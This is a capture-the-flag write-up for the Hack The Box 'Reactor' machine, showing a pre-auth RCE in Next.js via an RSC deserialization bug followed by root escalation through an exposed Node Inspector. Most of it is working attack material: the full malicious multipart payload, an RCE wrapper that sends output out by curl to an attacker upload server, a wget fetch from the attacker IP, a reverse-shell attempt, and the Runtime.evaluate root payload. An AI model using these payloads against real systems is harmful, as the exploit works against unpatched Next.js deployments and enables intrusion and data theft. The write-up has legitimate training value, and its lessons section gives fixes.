Reactor — HTB Season 15
| Field | Value |
|---|---|
| Box | Reactor |
| Season | S15 |
| Difficulty | Medium |
| OS | Linux (Ubuntu 24.04.4 LTS) |
| IP | 10.129.7.252 |
| User flag | b7bdab96927c5234cd7a3b394d59737d |
| Root flag | 2af6f2ab1a6699b475c4958390f24c9a |
TL;DR
- The box runs ReactorWatch — a Next.js 15.0.3 app on port 3000.
- Next.js 15.0.3 is vulnerable to CVE-2025-55182 / CVE-2025-66478 — an RSC (React Server Components) deserialization bug that yields pre-auth RCE through a crafted
multipart/form-dataPOST with aNext-Actionheader. Exploit lands as the unprivilegednodeuser. - Enumeration reveals a second service,
uptime-monitor.service, running as root withnode --inspect=127.0.0.1:9229. The Node Inspector is bound to loopback only, but we're already inside the box. - Connect to
ws://127.0.0.1:9229/<uuid>with the Chrome DevTools Protocol and callRuntime.evaluatewithprocess.mainModule.require('child_process').execSync(...)— code runs as root. - Read
user.txtandroot.txt.
1. Reconnaissance
1.1 Port scan
nmap -Pn -T4 --min-rate 1000 -F -oN nmap/quick.txt 10.129.7.252
# 100 ports filtered
nmap -Pn -sT -T4 -p 21,22,53,80,443,1337,2222,3000,3306,5000,5432,5984,6379,7000,7070,7474,7687,8000,8008,8080,8081,8443,8888,9000,9090,9200,9300,11211,27017,50000 \
-oN nmap/common-alt.txt 10.129.7.252
# Only 22 and 3000 are open
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
1.2 Service identification
nmap -Pn -sC -sV -p 22,3000 -oN nmap/services.txt 10.129.7.252
Key fingerprint snippets:
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http (Next.js)
X-Powered-By: Next.js
x-nextjs-cache: HIT
Hitting the root with curl returns the ReactorWatch v3.2.1 dashboard — a Server-Side-Rendered Next.js application.
2. Vulnerability Analysis — CVE-2025-55182 / CVE-2025-66478
Next.js's React Server Components flow accepts a serialized "model" payload when the Next-Action header is present. The deserializer evaluates JavaScript expressions encoded in the _response._prefix field. By chaining __proto__ and constructor:constructor to reach the JavaScript Function constructor, the prefix is compiled and executed inside the Next.js Node worker.
- Affected: Next.js ≥ 13.x through 15.0.4 (running in production)
- Auth required: None
- Vector: A single POST
/request withNext-Action: xand a crafted multipart body - Result: Arbitrary command execution as the user running
next start
Assetnote published the technical write-up; we use a derivative of their PoC.
3. Foothold — RCE as node
3.1 Exploit script
exploit/main.py builds the malicious multipart payload and parses the digest field returned in the 500 response. Core of the body:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('<CMD>',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:res});",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
Output is exfiltrated through error.digest in the 500 response.
python3 exploit/main.py http://10.129.7.252:3000 'id'
# [+] Command output:
# uid=999(node) gid=988(node) groups=988(node)
3.2 Reliable I/O channel
error.digest is unsuitable for long output (newlines and quotes mangle the JSON). I wrapped the primitive in exploit/rce.sh, which:
- base64-encodes the operator's command (no quoting headaches),
- runs
echo $B64 | base64 -d | bash > /tmp/o_<rand>.txt 2>&1on the box, - exfiltrates the file via
curl -X POSTto a small upload server on the attacker (exploit/upload_server.pylistening on 8001), - prints the captured output locally.
./exploit/rce.sh 'cat /opt/reactor-app/.env'
# DB_PATH=/opt/reactor-app/reactor.db
# DB_TYPE=sqlite3
# SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
# ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook
# NODE_ENV=production
Egress restriction discovered: only outbound TCP/8000–8001 in my testing window reliably returned. Plain
bash -i >& /dev/tcp/...revshells to 4444/443 silently failed. The upload-server channel sidesteps this entirely.
4. Privilege Escalation — node → root via Node Inspector
4.1 Discovery
./exploit/rce.sh 'ss -tlnp 2>/dev/null'
# LISTEN 0 511 127.0.0.1:9229 *:*
# LISTEN 0 511 *:3000 next-server (v1...
./exploit/rce.sh 'systemctl cat uptime-monitor.service'
[Service]
Type=simple
User=root
ExecStart=/usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
A root-owned Node process exposes the V8 Inspector on 127.0.0.1:9229. The inspector accepts the Chrome DevTools Protocol over WebSocket — any client that reaches the port can call Runtime.evaluate and execute arbitrary JavaScript in the running process. From inside the box this is trivial.
4.2 Obtain the debug WebSocket URL
./exploit/rce.sh 'curl -s http://127.0.0.1:9229/json/list'
# "webSocketDebuggerUrl": "ws://127.0.0.1:9229/a5f4b187-181a-4e00-b662-e497f89a7883"
4.3 CDP client (exploit/cdp.py)
A self-contained Python client that:
- fetches
/json/listto learn the WebSocket UUID, - opens a raw TCP socket, sends the WebSocket handshake by hand (no
websocketsdependency), - sends a single CDP frame:
{"id":1,"method":"Runtime.evaluate",
"params":{"expression":"<JS>","returnByValue":true,"awaitPromise":true}}
- prints the reply containing
result.value.
./exploit/rce.sh 'wget -q -O /tmp/cdp.py http://10.10.15.76:8001/cdp.py'
./exploit/rce.sh 'python3 /tmp/cdp.py "process.getuid()+\":\"+process.getgid()"'
# "result": { "type": "string", "value": "0:0" }
Root code execution confirmed.
4.4 ESM require quirk
worker.js is an ES module, so the global require is undefined and dynamic import() is disabled by the V8 sandbox (ERR_VM_DYNAMIC_IMPORT_CALLBACK_MISSING). The bypass is process.mainModule.require, which is the CommonJS loader hung off the main module object — still available even in an ESM entry point because Node bootstraps the process through it.
./exploit/rce.sh 'python3 /tmp/cdp.py \
"process.mainModule.require(\"child_process\").execSync(\"id; cat /home/engineer/user.txt /root/root.txt\").toString()"'
uid=0(root) gid=0(root) groups=0(root)
b7bdab96927c5234cd7a3b394d59737d
2af6f2ab1a6699b475c4958390f24c9a
5. Flag Capture
user.txt -> b7bdab96927c5234cd7a3b394d59737d
root.txt -> 2af6f2ab1a6699b475c4958390f24c9a
Both submitted via POST /api/v4/machine/own (id=900) — confirmed machine_pwned: true.
6. Key Techniques & Lessons
- RSC deserialization (CVE-2025-55182 / CVE-2025-66478) turns a single POST into pre-auth RCE in any vulnerable Next.js 13–15 deployment. Patch by upgrading or by stripping the
Next-Actionheader at the edge. error.digestas an exfil channel is fragile — quotes and newlines blow up the JSON. A dedicated upload endpoint is the most reliable I/O wrapper around a one-shot RCE.- Node
--inspecton production is a hard root. Even bound to loopback it is exploitable by anyone with command execution on the host. The fix is to never enable--inspectin a unit file, or to require--inspect-brkplusNODE_OPTIONSdiscipline. - ESM contexts lack
requirebutprocess.mainModule.require('child_process')still works because the main module object is a CommonJS handle. A clean trick to remember for any post-exploitation against modern Node services. - Dynamic import is fenced off inside
vmcontexts unless animportModuleDynamicallycallback is registered, so don't waste time onawait import('child_process')when attacking through the inspector.